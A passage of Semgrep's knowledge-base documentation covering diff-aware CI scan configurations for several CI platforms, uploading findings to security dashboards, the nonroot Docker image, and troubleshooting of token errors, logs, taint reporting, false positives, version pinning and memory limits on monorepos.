if [ $(System.PullRequest.PullRequestId) -ge 0 ]; then
echo "Pull Request Scan from branch: $(Build.SourceBranchName)"
git fetch origin main:origin/main
export SEMGREP_PR_ID=$(System.PullRequest.PullRequestId)
export SEMGREP_BASELINE_REF='origin/main'
semgrep ci
```
If you are running both full and diff-aware scans for the repository, you can use if clauses or define separate templates for full scans and [diff-aware scans](/deployment/customize-ci-jobs#set-up-diff-aware-scans) in Azure Pipelines. Diff-aware scans require the use of the `SEMGREP_PR_ID` and `SEMGREP_BASELINE_REF` variables, while full scans do not. Full scans are typically run on the condition `if [ $(Build.SourceBranchName) = "main" ]`.
In the Bitbucket Pipelines configuration file, set [`SEMGREP_BASELINE_REF`](/semgrep-ci/ci-environment-variables#semgrep_baseline_ref) to enable diff-aware scanning:
```yaml theme={null}
image: semgrep/semgrep:latest
pipelines:
...
pull-requests:
'**':
- step:
name: Semgrep scan on PR
script:
- export SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN
- export BITBUCKET_TOKEN=$PAT # Necessary for PR comments
# Change to your default branch if different from main
- export SEMGREP_BASELINE_REF="origin/main"
- git fetch origin "+refs/heads/*:refs/remotes/origin/*"
- semgrep ci
```
Include the following definition in your GitHub Actions configuration file to enable diff-aware scanning:
```yaml theme={null}
on:
# Scan changed files in PRs (diff-aware scanning):
pull_request: {}
```
### Example
```yaml expandable theme={null}
# Name of this GitHub Actions workflow.
name: Semgrep
on:
# Scan changed files in PRs (diff-aware scanning):
pull_request: {}
jobs:
semgrep:
# User definable name of this GitHub Actions job.
name: semgrep/ci
# If you are self-hosting, change the following `runs-on` value:
runs-on: ubuntu-latest
container:
# A Docker image with Semgrep installed. Do not change this.
image: semgrep/semgrep
# Skip any PR created by dependabot to avoid permission issues:
if: (github.actor != 'dependabot[bot]')
steps:
# Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
- uses: actions/checkout@v6
# Run the "semgrep ci" command on the command line of the docker image.
- run: semgrep ci
env:
# Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
# Generate a token from Semgrep AppSec Platform > Settings
# and add it to your GitHub secrets.
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
```
Set up your `.gitlab-ci.yml` conditions (usually `rules`) to run a scan if `$CI_MERGE_REQUEST_IID` is defined. Semgrep automatically runs a diff-aware scan if the variable is present, as it is in merge request pipelines:
```yaml theme={null}
rules:
# Scan changed files in MRs, (diff-aware scanning):
- if: $CI_MERGE_REQUEST_IID
```
### Example
```yaml expandable theme={null}
semgrep:
# A Docker image with Semgrep installed.
image: semgrep/semgrep
# Run the "semgrep ci" command on the command line of the docker image.
script: semgrep ci
rules:
# Scan changed files in MRs, (diff-aware scanning):
- if: $CI_MERGE_REQUEST_IID
variables:
# Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
# Generate a token from Semgrep AppSec Platform > Settings
# and add it as a variable in your GitLab CI/CD project settings.
SEMGREP_APP_TOKEN: $SEMGREP_APP_TOKEN
```
Jenkins is highly configurable and there are multiple approaches to setting up diff-aware scans.
See the following articles for detailed guides:
Set [`SEMGREP_BASELINE_REF`](/semgrep-ci/ci-environment-variables#semgrep_baseline_ref) to enable diff-aware scanning:
```console theme={null}
export SEMGREP_BASELINE_REF="main"
```
You may need to perform additional `git checkout` steps to ensure that the configured baseline ref is available in the scan environment along with the source branch.
# Upload Semgrep CI findings to GitHub Advanced Security Dashboard
Source: https://docs.semgrep.dev/kb/semgrep-ci/upload-ci-findings-to-github
This document shows an sample job configuration that uploads your Semgrep findings to GitHub Advanced Security Dashboard. See [GitHub Actions](/semgrep-ci/sample-ci-configs#github-actions) for information on adding a Semgrep configuration file to your GitHub Actions pipeline.
```bash expandable theme={null}
# Name of this GitHub Actions workflow.
name: Semgrep
on:
# Scan changed files in PRs (diff-aware scanning):
pull_request: {}
# Scan on-demand through GitHub Actions interface:
workflow_dispatch: {}
# Scan mainline branches and report all findings:
push:
branches: ["master", "main"]
# Schedule the CI job (this method uses cron syntax):
schedule:
- cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
# It is recommended to change the schedule to a random time.
permissions:
# This permission is required when uploading sarifs to any repository at GitHub
security-events: write
# These permissions are only required when uploading sarifs to private and internal repositories at GitHub
contents: read
actions: read
jobs:
semgrep:
# User definable name of this GitHub Actions job.
name: semgrep/ci
# If you are self-hosting, change the following `runs-on` value:
runs-on: ubuntu-latest
container:
# A Docker image with Semgrep installed. Do not change this.
image: semgrep/semgrep
# Skip any PR created by dependabot to avoid permission issues:
if: (github.actor != 'dependabot[bot]')
steps:
# Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
- uses: actions/checkout@v6
# Run the "semgrep ci" command on the command line of the docker image.
- run: semgrep ci --sarif > semgrep.sarif
env:
# Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
# Generate a token from Semgrep AppSec Platform > Settings
# and add it to your GitHub secrets.
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
- name: Upload SARIF file for GitHub Advanced Security Dashboard
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: semgrep.sarif
if: always()
```
# Upload Semgrep CI findings to GitLab Security Dashboard
Source: https://docs.semgrep.dev/kb/semgrep-ci/upload-ci-findings-to-gitlab
This document shows an sample job configuration that uploads your Semgrep findings to GitLab Security Dashboard. See [GitLab CI/CD](/semgrep-ci/sample-ci-configs#gitlab-cicd) for information on adding a Semgrep configuration file to your GitLab CI/CD pipeline.
```bash expandable theme={null}
semgrep:
# A Docker image with Semgrep installed.
image: semgrep/semgrep
rules:
# Scan changed files in MRs, (diff-aware scanning):
- if: $CI_MERGE_REQUEST_IID
# Scan mainline (default) branches and report all findings.
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
variables:
# Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
# Generate a token from Semgrep AppSec Platform > Settings
# and add it as a variable in your GitLab CI/CD project settings.
SEMGREP_APP_TOKEN: $SEMGREP_APP_TOKEN
# Upload findings to GitLab SAST Dashboard:
SEMGREP_GITLAB_JSON: "1"
# Run the "semgrep ci" command on the command line of the docker image and send findings
# to GitLab SAST.
script: semgrep ci --code --gitlab-sast > gl-sast-report.json || true
artifacts:
reports:
sast: gl-sast-report.json
```
# Configure GitHub Actions to use the nonroot Semgrep docker image
Source: https://docs.semgrep.dev/kb/semgrep-ci/using-nonroot-docker-image-with-gha
When using a [`nonroot` variant](https://hub.docker.com/r/semgrep/semgrep/tags?page=\&page_size=\&ordering=\&name=nonroot) of the Semgrep docker image with GitHub Actions, there is some extra workflow configuration required to ensure that scans run as intended despite the limited permissions of the `nonroot` image.
This [sample GitHub Actions configuration file](/semgrep-ci/sample-ci-configs#sample-github-actions-configuration-file) uses the default Semgrep docker image, which has root permissions, making it very simple to declare it as a container image running on top of something like Ubuntu, using the GitHub Actions workflow YAML syntax.
With the `nonroot` image, the same YAML syntax cannot be used to declare the image, as it then runs into permissions issues when trying to check out the repository during scan time. Instead, the image must be declared using a `docker run` command, along with the proper user and group permissions applied beforehand.
Furthermore, various pieces of Git metadata stored as environment variables or in the `GITHUB_EVENT_PATH` JSON file must be copied over from the runner environment to the `nonroot` image environment, as Semgrep uses this information to properly configure the scan.
## Sample GitHub Actions workflow file using the `nonroot` Semgrep docker image
The following example workflow file contains the extra steps required to successfully use the `nonroot` image, along with commented explanations before each step.
```yaml expandable theme={null}
# Name of this GitHub Actions workflow.
name: Semgrep
on:
# Scan changed files in PRs (diff-aware scanning):
pull_request: {}
# Scan on-demand through GitHub Actions interface:
workflow_dispatch: {}
# Scan mainline branches if there are changes to .github/workflows/semgrep.yml:
push:
branches:
- main
- master
paths:
- .github/workflows/semgrep.yml
# Schedule the CI job (this method uses cron syntax):
schedule:
- cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
# It is recommended to change the schedule to a random time.
jobs:
semgrep:
name: semgrep/ci
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Run Semgrep
run: |
# Copy the event.json file into the current working directory
# so it gets mounted when we run docker and semgrep can refer
# to it when setting git metadata.
cp $GITHUB_EVENT_PATH ./.github_event_path.json
# Copy over all GitHub Actions related env vars from the runner
# environment into a file that will get passed into docker so
# we retain all necessary env vars that semgrep uses for
# setting git metadata.
echo "Saving these env vars to file, then passing into docker container."
printenv | sort | egrep "^GITHUB_" | tee .env
printenv | sort | egrep "^RUNNER_" | tee -a .env
# Recursively set the owner:group of all files in the current
# working directory to the UID and GID of the semgrep user
# that the non-root semgrep docker image runs as. When we bind
# mount the directory to our docker container, it retains the
# permissions of the host.
sudo chown -R 1000:1000 .
# Finally, we pass in all the env vars from our file along with
# setting the SEMGREP_APP_TOKEN and updated GITHUB_EVENT_PATH.
docker run --rm -v "${PWD}:/src" \
--env-file .env \
-e SEMGREP_APP_TOKEN=${{ secrets.SEMGREP_APP_TOKEN }} \
-e GITHUB_EVENT_PATH="/src/.github_event_path.json" \
semgrep/semgrep:latest-nonroot \
semgrep ci
```
# Why are duplicate findings appearing after running Semgrep in CI?
Source: https://docs.semgrep.dev/kb/semgrep-ci/why-duplicate-findings
When scanning with Semgrep in CI, there are two types of scans you can perform: full scans and [**diff-aware scans**](/deployment/customize-ci-jobs#set-up-diff-aware-scans).
For full scans, the same rule and code produces a finding for every branch it is found on. If you are performing full scans on all branches, [the same finding appears for each branch](/semgrep-code/remove-duplicates).
To prevent duplication, Semgrep recommends performing full scans only on the main branch of your repository and performing diff-aware scans on other branches in PRs or MRs. Diff-aware scans compare findings on the current Git ref to findings on the base branch, allowing deduplication of findings not introduced in the PR/MR branch.
For more on setting up diff-aware scanning, see:
# Semgrep Code
Source: https://docs.semgrep.dev/kb/semgrep-code
Troubleshoot "invalid header value" errors in GitHub and GitLab.
Learn how to collect logs when running Semgrep on the command line.
Understand why fewer than expected tainted data flows may be reported.
Troubleshoot cases where `SEMGREP_APP_TOKEN` is valid but scans fail in GitLab.
Learn how Semgrep supports all versions of a programming language.
Learn strategies to reduce false positives in Semgrep scans.
Test scans with different versions of Semgrep.
Diagnose monorepo scan failures with logs, scan partitioning, and resource tuning.
Troubleshoot common issues with Semgrep scans.
Understand why findings appear in files expected to be ignored.
Learn why findings can increase even when the codebase appears unchanged.
# Troubleshoot ValueError: Invalid header value error
Source: https://docs.semgrep.dev/kb/semgrep-code/InvalidHeaderValue
When scanning with Semgrep, you may run into the following error:
```bash expandable theme={null}
Invalid header value b'Bearer *******************************************************'
Traceback (most recent call last):
File "/usr/local/lib/python3.11/site-packages/semgrep/commands/wrapper.py", line 35, in wrapper
func(*args, **kwargs)
File "/usr/local/lib/python3.11/site-packages/semgrep/commands/ci.py", line 242, in ci
deployment_name = auth.get_deployment_from_token(token)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/semgrep/app/auth.py", line 17, in get_deployment_from_token
r = state.app_session.get(
^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/requests/sessions.py", line 602, in get
return self.request("GET", url, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/semgrep/app/session.py", line 188, in request
response = super().request(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/requests/sessions.py", line 589, in request
resp = self.send(prep, **send_kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/requests/sessions.py", line 703, in send
r = adapter.send(request, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/requests/adapters.py", line 486, in send
resp = conn.urlopen(
^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/urllib3/connectionpool.py", line 714, in urlopen
httplib_response = self._make_request(
^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/urllib3/connectionpool.py", line 415, in _make_request
conn.request(method, url, **httplib_request_kw)
File "/usr/local/lib/python3.11/site-packages/urllib3/connection.py", line 244, in request
super(HTTPConnection, self).request(method, url, body=body, headers=headers)
File "/usr/local/lib/python3.11/http/client.py", line 1283, in request
self._send_request(method, url, body, headers, encode_chunked)
File "/usr/local/lib/python3.11/http/client.py", line 1324, in _send_request
self.putheader(hdr, value)
File "/usr/local/lib/python3.11/site-packages/urllib3/connection.py", line 224, in putheader
_HTTPConnection.putheader(self, header, *values)
File "/usr/local/lib/python3.11/http/client.py", line 1261, in putheader
raise ValueError('Invalid header value %r' % (values[i],))
ValueError: Invalid header value b'Bearer *******************************************************'
```
This error indicates that there is a problem in the pasted `SEMGREP_APP_TOKEN` value, most often an extra newline (`\n`).
## Fix a secret on GitHub
To fix on GitHub:
At either the organization or repository level, go to **Settings** > **Secrets and variables**
Update the value of the `SEMGREP_APP_TOKEN` to ensure it does not have an extraneous newline (`\n`) and is not malformed
## Fix a secret on GitLab
To fix on GitLab:
Go to your repository's **CI/CD** settings
Update the `SEMGREP_APP_TOKEN` value to ensure it does not have an extraneous newline (`\n`) and is not malformed
# How to collect logs when running Semgrep in CLI
Source: https://docs.semgrep.dev/kb/semgrep-code/collect-cli-logs
When troubleshooting Semgrep scans on the command line interface (CLI), collecting and sharing logs can be extremely helpful. By default, Semgrep prints findings from a scan to `stdout`, and other messages, including scan details and progress, to `stderr`. For troubleshooting, it's best to provide both.
To collect all relevant logs for a scan, follow these instructions. All log output options apply to both `semgrep scan` and `semgrep ci`. All examples use `semgrep ci` for simplicity, and name the output file as `semgrep.log`.
## Capturing full log output
To store the entire Semgrep log for a scan, including the findings:
```bash theme={null}
semgrep ci &> semgrep.log
```
## Separating findings and other logs
Sometimes it's helpful to separate findings from other scan logs. Using the following commands separates the two and allows for independent review of findings and scan behavior.
Write only findings to a file, print other logs to the terminal:
```bash theme={null}
semgrep ci > semgrep.log
```
Separate findings and logs by writing findings to `findings.txt` and logs to `semgrep.log` through either of the following commands:
```bash theme={null}
semgrep ci -o findings.txt 2> semgrep.log
semgrep ci > findings.txt 2> semgrep.log
```
Write logs to a file, print findings to the terminal:
```bash theme={null}
semgrep ci 2> semgrep.log
```
### Formatting findings
Semgrep can output findings in a variety of formats. By default, the findings are formatted as readable text in the terminal, but they can also be output in other formats such as JSON or SARIF. For example:
```bash theme={null}
semgrep ci --json -o findings.json 2> semgrep.log
```
outputs findings as JSON and saves the scan log to `semgrep.log`.
> The JSON schema for Semgrep's CLI output can be found in [semgrep/semgrep-interfaces](https://github.com/semgrep/semgrep-interfaces/blob/main/semgrep_output_v1.jsonschema).
In addition to findings formats, there are options to add details of the data flow (`--dataflow-traces`) or explanations of rule matching (`--matching-explanations`). These are less frequently used in overall scan troubleshooting, but can be helpful for understanding findings.
## Logging verbosity options
Semgrep has three commonly used log levels.
* Default: Prints scan progress, findings, and errors or warnings.
* Verbose (`-v` or `--verbose`): Adds list of rules and other details such as skipped files.
* Debug (`--debug`): Logs entire scan process at a very high level of detail.
The default level is useful for many common tasks such as identifying the scan in the Cloud Platform, checking which products were run, and seeing how many files were scanned with how many rules.
Verbose logs are useful to determine which specific files were scanned and list all rules run. They provide the most useful detail when a particular file appears to be missed or it's not clear which rules are running in a scan.
Debug logs are typically collected only if very detailed debugging is needed, such as if Semgrep crashes or is running very slowly. They're often very large.
Semgrep can also output only findings with its Quiet mode (`-q`). This is not recommended when troubleshooting.
## Additional references
See [Semgrep scan troubleshooting](/kb/semgrep-code/semgrep-scan-troubleshooting) for specific troubleshooting suggestions for scans.
# Why isnβt Semgrep reporting all my tainted data flows?
Source: https://docs.semgrep.dev/kb/semgrep-code/finding_all_taints
One of the reasons behind seeing fewer than expected tainted data flows could be the principle of reporting on shortest paths only.
By default, Semgrep reports a tainted source-sink permutation only once and reports the data flow that traverses the shortest path. Any longer paths with the same source-sink combination are not shown.
## Analysis of two tainted data flows
Take a look at these two examples:
Call stack 1:
```bash theme={null}
File2 function2(sourceA)
>> File1 function1(sourceA/sinkB)
```
Call stack 2:
```bash theme={null}
File 1 function4(sourceA)
>> function3(sourceA)
>> function2(sourceA)
>> function1(sourceA/sinkB)
```
### Interfile analysis
If both tainted data flows are identified in the same scan, and the scan has interfile analysis enabled (`--pro`, or Pro Engine enabled in the Cloud Platform), only Call stack 1 is reported as a finding. It has a shorter path, and has the same sourceA -> sinkB taint.
This speeds up triage by ensuring you are only reviewing unique findings. It's especially useful for languages with polymorphic classes that can add noise for a singleton taint.
### Intrafile analysis
If only intrafile / interprocedural analysis is performed (`--pro-intrafile`), Semgrep only reports a finding for call stack 2. Call stack 1 would not be identified, because it crosses file boundaries.
## Best practices for testing tainted data flows
To understand in greater detail how Semgrep detects tainted data flows, you can use your own test cases to review different paths.
### Dry runs
To avoid sending test data to Semgrep AppSec Platform and potentially confounding existing findings, use `semgrep scan` or `semgrep ci --dry-run`.
When testing locally, adding `--dataflow-traces` allows you to see the taint traces as you would in the Semgrep AppSec Platform UI.
#### Sample taint dataflow reporting
The following is an example that shows dataflow traces traversing multiple files, demonstrating interfile taint tracking:
```java expandable theme={null}
test2.java
test-spring-insecure-bean-validation
Passing user input to context.buildConstraintViolationWithTemplate() function may lead to
execution of arbitrary commands.
8β context.buildConstraintViolationWithTemplate(template).addConstraintViolation();
Taint comes from:
test1.java
128β @Override
129β
130β public boolean isValid1234(MessageParticipantsDto messageParticipantsDto,
ConstraintValidatorContext context) {
Taint flows through these intermediate variables:
test1.java
130β public boolean isValid1234(MessageParticipantsDto messageParticipantsDto,
ConstraintValidatorContext context) {
This is how taint reaches the sink:
test1.java
156β return ValidationUtil.buildTemplate(context, templateList);
Taint flows through these intermediate variables:
5β public boolean buildTemplate(ConstraintValidatorContext context, List templateList) {
then reaches:
8β context.buildConstraintViolationWithTemplate(template).addConstraintViolation();
```
### Changing Pro analysis options
You can change whether you are using the `--pro` or `--pro-intrafile` option depending on the exact flow you're testing, as described in the preceding section, [Analysis of two tainted data flows](#analysis-of-two-tainted-data-flows).
### Altering the paths
To ensure you see all the flow options, start by testing the shortest path and then change the code so that the shortest path is no longer tainted. Repeat this until you have achieved the longest taint flow path you want to test.
# My GitLab pipeline says that the token is invalid, but it is valid
Source: https://docs.semgrep.dev/kb/semgrep-code/gitlab-group-variables
If you've checked the value of your `SEMGREP_APP_TOKEN` and have confirmed that it is valid, you may still see invalid token errors if both of the following are true:
* Your variable is set as a group variable.
* Your configuration explicitly references `SEMGREP_APP_TOKEN` in the `variables` section.
There is a [known issue](https://gitlab.com/gitlab-org/gitlab/-/issues/199741) where group variables are accessible to projects but are not resolved by GitLab's runners.
Semgrep's [default configuration](/semgrep-ci/sample-ci-configs/#gitlab-cicd) recommends setting the variable as a project or repository variable. Project variables are properly resolved by GitLab's runners.
If you prefer to use a group variable, remove the explicit reference to `SEMGREP_APP_TOKEN` from your `.gitlab-ci.yml` file. For example, the default configuration would look like this after the change:
```yml theme={null}
semgrep:
image: semgrep/semgrep
script: semgrep ci
rules:
- if: $CI_PIPELINE_SOURCE == "web" # allow triggering a scan manually from the gitlab UI
- if: $CI_MERGE_REQUEST_IID
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
```
Without the explicit reference failing to resolve, GitLab's runners identify and use the correct value.
# Reduce false positives in semgrep scan
Source: https://docs.semgrep.dev/kb/semgrep-code/reduce-false-positives
The `semgrep scan` command can be used to quickly perform SAST scans. However, you may encounter false positives as you work through your findings. This document presents different strategies to reduce false positives and increase true positives in your scans.
## Customize your rules
If you notice that a specific Semgrep Community rule generates a high rate of false positives, the rule is said to be **noisy**. You can:
* Fork and customize that rule to improve its performance
* Remove the rule from the scan
### Set up local rules
To have more granular control over the rules in a ruleset, you must add the ruleset to your machine, then configure Semgrep to use those local rules.
Navigate to the repository that hosts the rule. Usually, the [ Semgrep community rules repository](https://github.com/semgrep/semgrep-rules) hosts the rule, but Semgrep also imports rules from other repositories. From the rule's entry in the Registry, check the author of the rule to confirm the source.
Fork or clone the repository to create a local copy of all the rules.
To clone, click **Code** then copy and run the cloning command in your CLI. This creates a `semgrep-rules` repository.
To fork, click **Fork** and follow the steps provided by GitHub. You must also clone the forked repository to your machine.
In your CLI, navigate to your `semgrep-rules` repository.
Find and copy the rules you want to use in a folder within your target codebase. Give the folder a descriptive name, such as `semgrep-rules`.
To use the local rules, run the following command:
semgrep scan --config='SEMGREP\_RULES\_FOLDER/'
### Customize a rule from a Semgrep Community ruleset
1. Edit the noisy rule to improve its performance.
2. Test your rule improvements by entering:
### Remove the rule from the scan
Delete the rule from the folder containing your Semgrep rules.
## Use advanced analyses and Pro rules
Optimizing rules can be a time-consuming process. Often, rules are not necessarily noisy, but lack additional analysis to detect true positives while ignoring false positives.
[Semgrep Code](/semgrep-code/overview/) provides cross-function (interprocedural) and cross-file (interfile) analyses. These analyses both reduce false positives and detect true positives that Semgrep Community Edition (CE) can't find.
For some languages and frameworks, such as Java or the Python Django framework, Semgrep also provides advanced analyses that take into account the language's characteristics, framework-specific dataflows, and the like. These analyses are available by default once you've signed in to Semgrep.
**NOTE**
Semgrep Code is free for up to 10 users.
### Sign in to Semgrep
You need a GitHub or GitLab account to sign in to Semgrep.
Enter the following command:
```
semgrep login
```
Follow the steps to create an account and proceed.
Optional: Enter `semgrep ci` to run a scan. By default, these scans use [Semgrep Pro rules, cross-function analysis, and language-specific improvements](#analyses-and-improvements-available-by-default).
**TIP**
You can't use the `--config` option with `semgrep ci` once you are logged in. To use your custom rules, add them to your [ Policies page](https://semgrep.dev/orgs/-/policies).
### Analyses and improvements available by default
The following features are enabled by default and help reduce false positives.
#### Pro rules
Semgrep Pro rules are high-confidence, professionally maintained rules provided exclusively by Semgrep.
The goal of Pro rules is to provide a set of well-supported rules with improved coverage across languages and vulnerability types. Semgrep Pro rules are written using Semgrepβs latest features and, in general, target users who are looking to produce accurate, actionable findings.
To see the languages with Pro rules, go to [Supported languages](/supported-languages).
#### Cross-function analysis
Cross-function analysis means that interactions between functions are taken into account. This improves taint analysis, which tracks unsanitized variables flowing from a source to a sink through arbitrarily many functions.
To see cross-function analysis in action, [run the interactive example](/semgrep-code/semgrep-pro-engine-intro#cross-function-example).
#### Language-specific improvements
Languages such as Java and frameworks such as Django, FastAPI, and Flask have specific improvements that take into account language features and implicit dataflows. To learn more:
### Enable cross-file analysis
Cross-file analysis (also known as **interfile analysis**) takes into account how information flows between files. In particular, cross-file analysis includes **cross-file taint analysis**, which tracks unsanitized variables flowing from a source to a sink through arbitrarily many files. Other analyses performed across files include constant propagation and type inference.
Cross-file analysis is usually used in contrast to intrafile, or per-file analysis, where each file is analyzed as a standalone block of code.
To run a scan with cross-file analysis, use the following command:
semgrep ci --pro
**RUN SCA AND SAST SCANS WITH ONE COMMAND**
The `semgrep ci` command can also run SCA scans with the Semgrep Supply Chain product, which makes use of the same analyses mentioned in this document to determine **reachability** and reduce false positives.
Dataflow and interfile analyses in particular ensure that Semgrep Supply Chain provides a high true positive rate while reducing false positives. Read the [ Doyensec Software Composition Analysis Benchmark](https://www.doyensec.com/resources/Doyensec_Software_Composition_Analysis_Benchmark.pdf) to learn more.
# How to run different versions of Semgrep
Source: https://docs.semgrep.dev/kb/semgrep-code/run-specific-version
However, when testing or managing upgrades, it can be helpful to run different versions of Semgrep to compare behavior.
**INFO**
If you use Semgrep with Semgrep AppSec Platform, [only the latest 10 minor versions are supported](/deployment/checklist#confirm-version-and-session-requirements).
Installation with Homebrew does not support multiple versions of Semgrep, but you can use [`pipx`](https://pipx.pypa.io/stable/how-to/install-pipx/), [`uv`](https://docs.astral.sh/uv/), or Docker to install different versions. In the following examples, x.y.z is a placeholder for a version string.
## Running different versions using pipx
Install a specific Semgrep version using `pipx`'s version syntax:
pipx install semgrep==x.y.z
If you already have Semgrep installed via `pipx`, use `--force` to reinstall a different version:
pipx install --force semgrep==x.y.z
## Running different versions using uv
You can also pin a specific version using `uv tool install`:
uv tool install semgrep==x.y.z
Or run a specific version one-off, without installing it persistently, using `uvx`:
uvx semgrep@x.y.z --version
Confirm installation:
```bash theme={null}
semgrep --version
```
Then, execute Semgrep as you would normally on the command line.
## Running different versions using Docker
To run a version other than `latest` using Docker, use the tag for the version when pulling or running the image.
To pull:
docker pull semgrep/semgrep:x.y.z
To run locally, mounting the desired source directory (`/PATH/TO/SRC`) for scanning:
docker run --rm -v "/PATH/TO/SRC:/src" semgrep/semgrep:x.y.z semgrep --config=auto
To run in GitHub Actions CI:
```yaml theme={null}
jobs:
semgrep:
name: semgrep/ci
runs-on: ubuntu-latest
container:
image: semgrep/semgrep:x.y.z
```
# Troubleshooting 'You are seeing this because the engine was killed' on monorepos
Source: https://docs.semgrep.dev/kb/semgrep-code/scan-engine-kill
Scans can fail to complete on large monorepos. This article describes possible solutions, such as:
* [Scanning the components of a monorepo separately](/kb/semgrep-ci/scan-monorepo-in-parts).
* Serializing the type of scan performed.
* Increasing the RAM of the job runner for CI jobs.
Given the following log or similar:
```text expandable theme={null}
[ERROR] Error while running rules:
You are seeing this because the engine was killed.
The most common reason this happens is because it used too much memory.
If your repo is large (~10k files or more), you have three options:
1. Increase the amount of memory available to semgrep
2. Reduce the number of jobs semgrep runs with via `-j `. We
recommend using 1 job if you are running out of memory.
3. Scan the repo in parts (contact us for help)
Otherwise, it is likely that semgrep is hitting the limit on only some
files. In this case, you can try to set the limit on the amount of memory
semgrep can use on each file with `--max-memory `. We recommend
lowering this to a limit 70% of the available memory. For CI runs with
interfile analysis, the default max-memory is 5000MB. Without, the default
is unlimited.
The last thing you can try if none of these work is to raise the stack
limit with `ulimit -s `.
If you have tried all these steps and still are seeing this error, please
contact us.
Error: semgrep-core exited with unexpected output
```
## Determining the size of your monorepo
By default, Semgrep places resource limitations on the size of file scanned and memory allocated.
However, Semgrep does not place limitations on the number of files scanned and scanning a large monorepo can involve thousands of files.
To determine how many files are getting scanned:
View the Semgrep scan output in your CI logs. This step depends on your CI provider.
In the CI logs, search for the section **Scan Status**.
A sample Semgrep scan output can look like this:
```text expandable theme={null}
βββββββββββββββ
β Scan Status β
βββββββββββββββ
Scanning 91749 files tracked by git with 1068 Code rules, 498 Pro rules:
Language Rules Files Origin Rules
ββββββββββββββββββββββββββββββ βββββββββββββββββββ
60 199251 Community 551
ts 166 26672 Pro rules 498
python 314 8089 Custom 19
scala 13 5415
json 1 4149
yaml 7 1952
js 160 1084
terraform 13 470
bash 4 408
go 95 228
ruby 22 228
php 25 99
swift 41 89
html 1 72
dockerfile 2 31
c 9 16
rust 49 8
java 156 2
kotlin 47 1
```
Now you have a good idea of the size of your monorepo. After establishing the size and breakdown of your files by programming language, you can decide what adjustments to make for a scan to succeed.
## Scanning components separately
Based on the composition provided by the logs, you may be able to determine if your repository is modular. If so, you can try [scanning the components separately](/kb/semgrep-ci/scan-monorepo-in-parts/).
**NOTE**
Semgrep Code still performs [ interfile analysis](/semgrep-code/semgrep-pro-engine-intro#types-of-semgrep-code-analysis) on each module. If the modules are functionally separate, running separate scans shouldn't result in a reduction in findings.
## Serializing types of scans
Avoid exhausting resource limits by running Semgrep Code, Supply Chain, and Secrets serially instead of simultaneously. That is, instead of:
```console theme={null}
semgrep ci
```
You can run:
```bash theme={null}
semgrep ci --code
semgrep ci --supply-chain
semgrep ci --secrets
```
As a result, less memory is used in total at any point in time.
## Increasing RAM
Lastly, you can also tackle a large scan by increasing the RAM.
### Establish RAM baseline and avoid swap memory
First, establish how much memory is required to scan. Determining the total amount of memory required not only helps avoid killed scans but also helps prevent use of swap memory. Semgrep and other SAST tools make heavy use of disk I/O, and swapping in and out with a swap file significantly reduces performance.
* In the early phases of your scan deployment, start with a relatively larger runner or Kubernetes pod that has lots of memory.
* Perform the scan with the `-j 1` option ([see CLI reference](/cli-reference)). This sets the number of jobs to 1 (no parallelization of subprocesses).
* Enable a swap monitor for the entire duration of the scan to ensure an accurate assessment of RAM used, for example, running a script that samples the memory frequently:
```bash theme={null}
$ free -m
```
to see both your RAM and your swap space usage in Linux.
* Then perhaps add 10% more RAM to your final memory tally to account for churn, increase in code, and so on. This is something you must gauge.
## Parallelization
Once you have determined the RAM required to scan your large codebase, you can introduce parallelization to speed up the scan.
In the previous section, you determined the total memory required for a configuration with no parallelization. Now, you can begin testing different parallelization configurations to improve scan speed, while still monitoring for any swap usage.
To increase parallelization, first try the scan with `-j 2` for two jobs. For two jobs, memory usage will typically be just less than twice the amount required for one job, and that trend continues as the number of jobs increases.
Furthermore, there is overhead in parallelization: the total RAM required for a `-j 2` scan is greater than a `-j 1` scan for the same codebase, but you should see a decrease in total scan time.
# A Semgrep scan is having a problem - what next?
Source: https://docs.semgrep.dev/kb/semgrep-code/semgrep-scan-troubleshooting
If a Semgrep scan is failing or running slowly,
try the following steps to investigate:"
[Update Semgrep](/update) to the latest version, if you are not currently running the latest version. Some errors result from an older version of Semgrep being used with newer rules.
Re-run the scan with either the `-v`/`--verbose` or `--debug` (extremely verbose) flags. These options provide more information about what is failing.
* When using verbose logs, also set `--max-log-list-entries` to `0` or any negative value to see the full output; otherwise lists of rules and files are suppressed if there are more than 100 entries in the list.
If you are running cross-file (interfile) analysis in the scan, remove any options starting with `--pro`, or run Semgrep with `--oss-only`. This allows isolation of any issues related to cross-file analysis, and often speeds up a scan or reduces memory usage.
**INFO**
Semgrep verbose or debug logs can be quite lengthy. To prevent flooding your terminal and preserve the logs for analysis, you can redirect all output to a file with `semgrep [OPTIONS] [TARGETS]... &> semgrep.log`. See also [How to collect logs when running Semgrep in CLI](/kb/semgrep-code/collect-cli-logs).
## Memory usage issues (OOM errors)
